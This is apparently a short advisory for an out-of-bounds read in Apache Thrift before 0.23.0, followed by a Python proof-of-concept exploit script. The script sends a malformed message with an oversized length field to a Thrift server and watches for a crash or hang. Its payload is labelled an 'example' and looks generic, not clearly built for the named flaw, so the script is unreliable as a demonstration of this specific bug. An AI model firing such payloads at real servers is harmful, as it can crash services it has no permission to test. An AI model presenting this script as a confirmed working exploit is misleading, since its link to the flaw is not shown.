Out-of-bounds Read vulnerability in Apache Thrift.
This issue affects Apache Thrift: before 0.23.0.
Users are recommended to upgrade to version 0.23.0, which fixes the issue.
The following code is for security research and authorized testing only.
python
import socket
# Target configuration
TARGET_HOST = '127.0.0.1'
TARGET_PORT = 9090
def generate_malicious_payload():
# Constructing a payload that triggers the out-of-bounds read
# This involves manipulating field headers and length indicators
# to bypass standard checks and access unintended memory.
# Example: Malformed message header indicating a large string size
# but providing insufficient actual data or corrupt structure.
payload = b'\x00\x00\x00\x02' # Magic number/Version (example)
payload += b'\xFF\xFF\xFF\xFF' # Malformed length field
payload += b'A' * 10 # Trailing data
return payload
def send_exploit():
try:
print(f"[*] Connecting to {TARGET_HOST}:{TARGET_PORT}...")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((TARGET_HOST, TARGET_PORT))
payload = generate_malicious_payload()
print(f"[*] Sending payload ({len(payload)} bytes)...")
s.sendall(payload)
# Wait for a response or timeout (indicating a potential crash/hang)
response = s.recv(1024)
print("[+] Received response. Target might not be vulnerable or handled the error.")
except ConnectionResetError:
print("[!] Connection reset by peer. Possible crash detected.")
except socket.timeout:
print("[!] Connection timed out. Possible hang detected.")
except Exception as e:
print(f"[-] Error: {e}")
finally:
s.close()
if __name__ == '__main__':
send_exploit()